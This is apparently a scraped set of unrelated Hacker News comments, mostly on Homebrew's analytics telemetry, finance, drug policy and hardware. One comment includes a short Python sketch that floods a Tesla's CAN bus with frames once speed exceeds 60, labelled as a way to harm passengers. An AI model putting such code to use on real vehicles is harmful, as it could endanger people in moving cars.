skysight-inc/HackerNews huggingface dataset:
They wouldn't. Pretty much all of financial analysis is about taking the numbers provided and making adjustments based on your projections (e.g. perhaps the large expenditure this quarter wasn't just a one time cost) and other adjustments to make the numbers comparable to those of other firms.
Then stop using Homebrew.
> So what you're saying is that you've called 3 of the past 0 recessions...

That's pretty much what I read there. And the author seems well aware of this.

Just let's not forget that this is an area where experts have the track record of calling 0 of the last 3 (hell, make it 30) recessions.
How is that handled?
I have this bookmarklet for such articles: javascript:window.location=https://www.google.com/search?q=window.location
It certainly appears not. They're using curl and reporting a UID they generate.

A Homebrew analytics user ID e.g. 1BAB65CC-FE7F-4D8C-AB45-B7DB5A6BA9CB. This
is generated by uuidgen and stored in ~/.homebrew_analytics_user_uuid. This
does not allow us to track individual users but does enable us to accurately
measure user counts vs. event counts

https://github.com/Homebrew/brew/blob/master/share/doc/homeb...

Of course, you have to trust homebrew, but hell, you're already running their software, so it's a little late.
Reply everyone: thank you for being so supportive, i've never asked anything on HN before and I wasn't aware of the issues regarding ads before I asked. Truthfully I think everyone should be aware of what they browse before they block everything (look at countries that block through DNS, users not speaking for themselves) and embrace ads as a form of information instead of blocking sites as scams. This is not over, but thank you all for taking the time to write this. Much appreciated!
Depending on what polls you use.

When you use the type of polls that matter - actual voting, it's the elderly and conservative that vote, so it's the elderly and conservative who have a voice.

Hence, marijuana prohibition continues. We're only seeing a lightening of this prohibition because our elderly are more and more from the baby boomer generation - the generation that made smoking pot cool.
Read your Chomsky. What people want is manufactured ahead of time by deep-state actors to serve their interests.
Then don't use their product if you're going to whine so much.
Save 50% on Site Reliability Engineering: How Google Runs Production Systems
Not necessarily. Opting in takes effort, and people aren't really seeing any reward, so they would be less likely to take the effort.
> Twenty year T-Bills are at 2.30%

FYI, T-bills have maturities of one year or less, T-notes two to ten years, and T-bonds 10 to 30 years. The term "Treasuries" helpfully covers all three.
I don't see how GA can be classified as malware according to this.
We don’t have the resources for this. If you have any suggestion for a service that doesn’t require us time to manage we’d be very grateful. Homebrew have a dozen maintainers for >30 PRs & issues per day plus maintaining our own CI infrastructure plus normal development; and all of this is on our spare time.
I left MacPorts because the political infighting between package maintainers often left ports hopelessly out of date.
The IoT camera module market seems to be underserved. Here's my feature wishlist:

* A monochrome sensor option

* Better sensor documentation. Where are the quantum efficiency graphs?

* Larger sensors.

* Less emphasis on megapixels, more emphasis on efficiency.

* Exposure control in microseconds

* Binning

* C, CS, or F lens mount. Heck, I'd even accept a M12 mount, so long as the lens isn't glued into place.
That's standard fare in HN. We have to blame large multi-national smoke filled room conspiracies before anything else. Everything is like a scifi novel. Obviously, I like scifi but we have to so think of what's the likely way that things are.
That's a problem of the training materials, not of the language itself.
Well yes I may be wrong on that, maybe its best to grow the greens outside Manhattan. It is a technical issue which should be explored if it seems economically feasible. But surely it's a good idea to grow something on the roof which grows there, I read it also helps insulate the building requiring less AC.
This is not a good example. Distribution, branding and maintaining retail outlets make most of the cost. Ethiopian farmers can't sell their beans for dollars because:

* They haven't shipped them across the ocean

* They don't have warehouses to store them in

* They don't have a retail store to sell them in

* Nobody knows the quality or consistency of Ethiopian Joe's coffeebeans, but they know that Starbucks is consistent good.

A better example of irrational acting is that: MLB tickets can be sold for hundreds of dollars, even though professional baseball is the most boring thing to watch, we barely have good enough eyes to see what's happening from that far away anyway, and you'll have to pay 2x for anything you eat or drink.

Also Beanie Babies. Buying beanie babies and tulip bulbs was really irrational acting.
Not a compiler guy but a GPU programmer. This is exciting! Attended one of the authors' lecture a while ago. Although at this point I assume gpucc would be super-optimized for deep learning (by which I mean dense matrix multiplication), this is very good for the community so that people can work on various versions that either focus on better general performance, or difference feature sets for specific applications in the future.
Ask HN: Are there any books about Smali?
I couldn't find anything about learning Smali code (other than diving into it of course). Are there any ressources you can recommend?
Hyperlink for the lazy
https://github.com/crossfilter/crossfilter
The interest rate on my first house in Sunnyvale was 13% and it adjusted every 6 months. Of course the house cost $153,000.
Still it took both my wife and I working (she is also an engineer) to make the payments and we didn't have kids yet.

At the same time my Vanguard money market account was paying 15% annual interest. That was pretty awesome.
I wouldn't be so sure.

I don't know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I'd guess that the dash is getting that information directly from the CAN.

And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through /dev/can0, via a small program running in that chroot.

Eg: In Python

from canard import can
from canard.file import jsondb
from canard.hw import socketcan

# create and start device
dev = socketcan.SocketCanDev("/dev/can0")
dev.start()

# create our DoS frame
frame = can.Frame(id=0)
frame.dlc = 8

# load tesla can spec, eg: from [4]
# CAN3, ID 0x0256
b = parser.parse('tesla.json')

while True:
rec = dev.recv()
speedo = b.parse_frame(rec)
# assassinate passengers
if (speedo.speed > 60):
while True:
dev.send(frame)

[1]: https://www.blackhat.com/docs/asia-15/materials/asia-15-Even...

[2]: http://security.stackexchange.com/questions/88724/is-there-a...

[3]: https://github.com/ericevenchick/CANard

[4]: http://skie.net/uploads/TeslaCAN/Tesla%20Model%20S%20CAN%20D...
Dudette, please.
Amazing. I've been using --with-python3 a lot, having a bottled option would be great.
The Story of Ms. Pac-Man, the Atari 7800, and the Hyperdrive
What seems funny about this is the idea that we can pick a huge, broad policy, implement it entirely as-is, and leave that be for a while. I don't think that's likely to work. How it'll actually work is gradual change at multiple levels, as we're already seeing with the trend of Marijuana legalization.

It's sometimes useful to think in terms of a total broad policy, but we also need ideas for smaller steps to take that we can actually get through various congresses. It seems like the political environment might become more amenable to broader change after considerable small-scale changes and clear changes in public opinion.
War on drugs is extremely useful for all levels of administration

- How else can you confiscate private property without charges or conviction and just share the money among yourself ?

https://www.washingtonpost.com/news/wonk/wp/2016/04/25/how-o...

- How else can you run a multi-billion dollar prison industrial complex ?

- How else can you run a surveillance state where state actively encourages to snitch on fellow citizens ?

- How else can you create vote banks of Blacks, Latinos and other who need to feel marginalized and victims ?
It is used to improve the product, why is this useless to the user?
Readism: A Chrome extension that brings Medium’s best feature to the whole Web
trashing the telemetry data they're using to figure out what OS/ver people are using and bugs they are hitting makes you a real jerk

use their opt-out if you want
> it is impossible to factorize big numbers. For any number, there is no way of working out if a smaller number divides into it, short of actually doing the calculation.

Yeah, the author doesn't understand the difference between the difficulty of factorizing large semi-primes and the elliptic curve discrete logarithm problem.

It might be a little error, but lack of understanding of deep technical issues lead directly to specious statements that bitcoin and the blockchain are going to solve world poverty, privacy, fix the economy and neuter the surveillance state.

It almost makes me wonder if Bitcoin was a "black-flag" operation to bring out the crypto-anarchist nerds who can't look past the fact that Bitcoin is innovative to see it doesn't work for most people.
State getting into business is end of private enterprise. It is not governments job to run business.
This is why I love reading HN. Thanks for the tip!
1) Homebrew is not a company. 2) It's open source.
You could also really stop being an asshole, but that'll never happen right?
Like a small acquihire without the acquihire part. :-)

Smart, and super curious how this plays out with teams and comp negotiation, especially vis-a-vis acquihire equity negotiations.

With no investors to return capital or stock to, negotiating as a team should increase returns to the team individuals.
Does anyone have detailed information on the technology stack? What software are they using for the large scale modeling and model management? Is the AR solution referred to in the article custom? Whose bluetooth beacons are they using for indoor positioning?
But ChromeOS does not support WiFi or USB printing.
I have little snitch and can verify that everything talks to the Internet all of the time :(
The thing is that as hacker is a cool word, people tend to become cool by bending reality. It's the same as renaming Ecmascript to Javascript because Java is cool. However I do believe that yes, having curiosity and passion to modify the inner working of things could be called hacking, the banalization of the term is something sad. Like a 'project for hackers'. Sorry, but you don't need to be a hacker to use it. If this project be necessary to accomplish something at your work, you'll need to learn the minimum, thus not configuring a 'hacker' way of doing it. Of course is somewhat hard to expect someone to agree with me, as I am at 'Hacker News' right now, hehe.
Have fun with a shittier product that may actually collect data on you but isn't open enough to tell you about it.

Don't let the door hit you on the way out. No one will miss you!
Phones home...
See you there! /s
I'll leave analytics turned on, but the blog post says it'll strip arguments. Your example above seems to conflict with what the post says, no?
> The math is grim.

The math is grim for the poorest people in any country.

> That's it. That's the economy.

The economy of one of the biggest consumer markets in Asia is people earning $3/day and blowing $2 of it on transport, SMS and internet?
Is 4-7 years a long time? What does majority-popular mean? Someone else asked "what polls," and I have to agree with that. I think the last time this came up in California for a ballot initiative the results weren't as you are assuming.

I'm not sure what the majority opinion is on anything; from what I can tell if you asked a large number if Americans who Abraham Lincoln was with 3 choices, it would probably be all over the place.
Lightroom $4K iMac VS $4K PC performance test
I link to it at the bottom of the post. The image captions are quotes that were inspired by very real quotes from that website.
If you live in the US, you can walk into any GameStop and buy used PS3Eye cameras for $8.99 + tax. They are an absolute steal.
Thats cool... for the government. But are we allowed to use perfect encryption in the United States anymore?
365 is a descriptive term used widely to mean 'always available', it's too generic for a registered trademark by itself - Microsoft shouldn't have a hope in a sensible IP court.
I imagine something like crouton[1] would come in handy for the CS students.

1. https://github.com/dnschneid/crouton
That would be the second person to which I was referring.

[Edit, to clarify:]

first person: me

second person: you

third person: him/her
To me it seems like Wechat is more like a natural successor of QQ (to get rid of the huge burden of the ecosystem) rather than a Whatsapp clone.

In terms of functionality, QQ has most of Whatsapp covered. What makes you think that Wechat copied Whatsapp?
You can always even check the code that’s running on your own computer. If you installed Homebrew in /usr/local the relevant files are /usr/local/Library/Homebrew/utils/analytics.sh and /usr/local/Library/Homebrew/utils/analytics.rb.
+1 on this... I'd say do a 30-day trial period, then around day 25 ask for billing information... If you have tracking/analytics in place you know how many users are returning once signing up, and you have a better indication of conversion after use.

If you're going to have a free tier, I'd say limit it to N service integrations (3-5), but definitely make your core users paying close to the start.

If I had a need for something like this day to day, I'd definitely pay... Actually, I'd suffer for a while, then try it, then suffer again, then pay... but that's me and I'm kind of cheap/frugal. Most people will start paying once they see and feel the value.

Also, it's much easier to field requests from a few hundred paying users than thousands of non-paying ones. It's very hard to do conversion from free after the fact... many businesses have failed, burned, burned out, and left their best (paying) users in a lurch following this model.
We'd need to be talking about a concrete example to say with much specificity, but a node is basically a "thing" and an edge is a binary relationship between two things. A thing may have relationships with itself.

The precise "information" associated to them could be "anything", but would be proscribed by the computation and/or representation being disccussed and the graph in question.
> ... are in fact taller than they economically should be

No doubt there is an optimum height somewhere there. And it's not only about building up, but building closer in general. When people work and live closer together there is less need for transportation overall.
Just keep in mind that lot of those reviews are in fact fake. With all the native advertising, fake testimonials and reviews I'd be somewhat reserved to believe anything online.
800 Bps is going to take you years to work through a 4 TB hard drive

But you don't need to do that. You simply take 256 bits and use them as an AES key. You then generate a stream of bits and write that to disk. Reading the disk afterward is equivalent to breaking AES. Or take Bernstein's advice and use an even better stream cipher. https://cr.yp.to/streamciphers/why.html

And even if you re-key every 1 GB (just for grins), you're still hardly using any random bits at all.

OTOH check out this comment elsewhere in this thread. https://news.ycombinator.com/item?id=11560417

IDQuantique sells a product that purportedly generates millions of random bits per second. If I were gambling at a casino, I'd feel more comfortable with that than with randomness from an AES stream.

Yeah, I know I'm thinking irrationally. But I'm sure I'm not the only one.
Fair point, the public shaming that is happening now is probably punishment enough.

Frankly I don't trust the opt-out code to be (and remain) bug-free. There are, as far as I can tell from searching, no tests. So I feel more comfortable maintaining a patched version with the calls nooped instead.
The extent of the risk depends on the sensor and board assembly. But removing the CFA is not unthinkable[1].

[1] https://stargazerslounge.com/topic/210686-moon-with-de-bayer...
Yep, and as you can see if you read the code there are as few references to GA as possible so that it’d be easy to change the service we use without editing code everywhere.
Would you recommend people who already own a tablet (iPad, Galaxy, Fire, etc) to get a dedicated device to reading?
exiftool says it's PowerPoint, surprisingly:

$ exiftool Build+Book+Backblaze+60+Drive.pdf | tail -n5 | head -n3
Title : 7400-0283 Rev A OMS Assy Backblaze 60 Drive
Producer : Mac OS X 10.11.3 Quartz PDFContext
Creator : PowerPoint
Collecting telemetry data without letting users even know about it (much less opt in) isn't cool, either.
> You're right, many countries could use trusted
> couriers in order to spur local markets and
> economic growth.

Ok, so that seems like the next startup right? You don't really want couriers that are carrying boxes of cash back to headquarters but it sounds like reducing friction in payment would achieve good results. Where is the SMS payment system equivalent? Have the courier bring the item, send the SMS payment, and when that is received the courier hands over the item.
Yev from Backblaze here -> You're not going to believe this, but the folks at Evolve used Powerpoint and a template...seriously.
Next Apple Watch reportedly includes cellular radio
VR painting with TiltBrush
What's the advantage for the team? Are they getting a premium like acquihires?
macports requires all of xcode, homebrew just the CLI tools.
This isn't a new problem. I used to have to enter my time in 3 places. Once for the client's corporate system, once for the project-based system, and once for my company's system. As much as we like innovation, this is part of the case for standardization. :-)

The mental model I follow is:

1 - Figure out if you can fight it. If it's a fight you can win, push to standardize. If it's one you can't, don't waste your time.

2 - If you don't fight it, figure out which have data that is really being used, and which people are just going through the motions. For the data that's being used, keep it current and think through the input. For data that's not, don't kill yourself.

3 - Always have your own #s so that you can answer what's really going on.
In my region, call centers employ a lot of people and the pay is relatively decent. A good entry level call center job might pay USD $300 / month. A bit less for the fly-by-night types and a bit more for the best employer.

Otherwise, I don't know because I don't ask and I haven't been looking for a job.
Yeah I absolutely love it. It's eating up all my freetime. I had to make sure last week to actually go out and socialize...

Dude is genderless! I'm just as much a dude as you are. Also, it doesn't really bother me :)
I think most people aren't concerned so much about sharing usage data. The problem is specifically the way it's being shared via a third party. Other apps ask if I mind sharing some data (e.g., Firefox), and I don't have a problem with that.
Start enforcing. Make PR's required for all new code, and reject PR's which aren't well-documented. Most developers can write good docs, they (we) just tend not to, until docs are treated as a primary priority by the rest of the team.
The fact that it's opt-out rather than opt-in... yeah, well. I don't think I need to finish that sentence.
It does not compromise the user's privacy in any way. GA prohibits PII. Also, the webmaster has to opt-in to share the data with Google in the first place.
As a Homebrew user, thanks for your efforts. I'm totally fine with the change myself, and I apologize for everyone else in here who cares about their privacy, but doesn't really care about the time volunteers are committing, nor the time savings from this feature.
None. America has a lot of barriers to keep certain people from the franchise, and all mainstream media is lies and ads. But America is the only place where the concept of truly free speech is even held up as a virtue, let alone accorded the people in practice.
Okay. Is everyone going to pony up for a self-hosted analytics box and the time to manage it? No? Of course not. Everyone wants to complain, no one would contribute resources to do it though. Privacy has a high moral value (its free to want it and complain about it), but small economic value (you use Chrome? It sends everything you do back to Google. You'll still use it, because its better than not).
Has anyone built a Swift implementation in Swift?
> a sheet-feed scanner so I can electronically archive the stacks of paper

That's the most 1995 thing I've read all year.

What with all the smartphone apps which will provide you with PDFs of the casually snapped pics of whatever paper pieces you feel like shooting.

(In the unlikely case the gummint doesn't already have all the info you may need, and you can't just ask for a copy. Which is mostly the case nowadays.)
Just like open-source doesn't come with warranties from the creator, it also doesn't come with obligations to the end user other than to abide by the license.
One suggestion, and I'm not how hard it is to setup a new account with a real phone number, or moving the number. But setup Google Voice, and use hangouts to manage your text messages. You'll be able to run hangouts on your desktop, and type your text messages, not to mention copy/paste wherever they are needed.

I find that it's really nice to be able to handle texts while I'm working directly on my computer, or wherever I am. Does phone calls as well, if you're using a headset with a mic. Hangouts also does video calls and screen sharing, but nobody else seems to use it much. I actually like it a lot, even though the video quality leaves a lot to be desired.

Edit: been a happy user since it was Grand Central, before the Google buyout.
Could gambling be the secret to saving when rates are so low?
How should this be handled if the software in question is a server daemon? I want the users to make an explicit choice but it's not obvious what's the best way to do that.
Thanks. ;)
> Historically they were used to show how the company was doing ex of one time events( almost exclusively negative events) such as layoffs, lawsuit settlements, divesting/closing money loosing units, etc.

Can these really be considered to be one-time events though? I would hypothesize that a company which has seen at least one lawsuit settlement is more likely to see another one down the road than a company which has never seen a lawsuit. Thus, the existence of a settlement should be a reasonable prediction of more losses to occur in the future. So why ignore them?

It seems like it would be at least more reasonable to consider the past M GAAP results than the past M non-GAAP results when analyzing a trend. The latter will consistently overestimate growth, whereas the former will have more noise, but averages out to being more representative of the actual growth. And the analyst at least has the necessary data to reasonably calculate error-bounds on his/her estimate.
California was the first state to decriminalize 50 years ago and has always been majority for legalization. The issue has always been turnout (since it's decriminalized and medically legal), but even now, polls show 60% of likely voters to be pro-legalization:

http://blog.norml.org/2016/02/25/poll-60-percent-of-likely-c...
Here's a technical write-up by Michael Chang, who wrote the WebGL portion of the site: https://developers.google.com/web/showcase/case-study/art-se...
Can you give some examples? I'm honestly curious.